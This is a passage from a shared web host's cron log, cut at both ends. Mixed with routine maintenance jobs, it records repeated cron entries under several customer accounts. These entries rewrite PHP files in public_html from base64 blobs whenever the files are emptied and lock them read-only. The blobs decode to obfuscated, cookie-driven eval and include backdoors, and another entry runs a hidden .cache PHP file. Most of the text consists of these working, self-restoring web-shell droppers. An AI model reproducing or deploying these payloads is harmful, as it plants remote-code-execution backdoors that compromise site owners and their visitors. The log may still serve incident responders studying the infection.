"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:45:01 medusa CROND[22367]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:45:01 medusa CROND[22370]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:45:01 medusa CROND[22360]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 03:45:01 medusa CROND[22372]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:45:01 medusa CROND[22374]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 03:45:01 medusa CROND[22365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:46:01 medusa CROND[9992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:46:01 medusa CROND[10025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:46:01 medusa CROND[10026]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:46:01 medusa CROND[10027]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:46:01 medusa CROND[10028]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 03:46:01 medusa CROND[10029]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:46:01 medusa CROND[10031]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:46:01 medusa CROND[10032]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 03:46:01 medusa CROND[10039]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:46:01 medusa CROND[10040]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 03:46:01 medusa CROND[10037]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 03:46:01 medusa CROND[10041]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:46:01 medusa CROND[10042]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:46:01 medusa CROND[10045]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:46:01 medusa CROND[10053]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:47:01 medusa CROND[32158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:47:01 medusa CROND[32255]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:47:01 medusa CROND[32257]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:47:01 medusa CROND[32259]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:47:01 medusa CROND[32260]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 03:47:01 medusa CROND[32261]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:47:01 medusa CROND[32263]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:47:01 medusa CROND[32265]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsK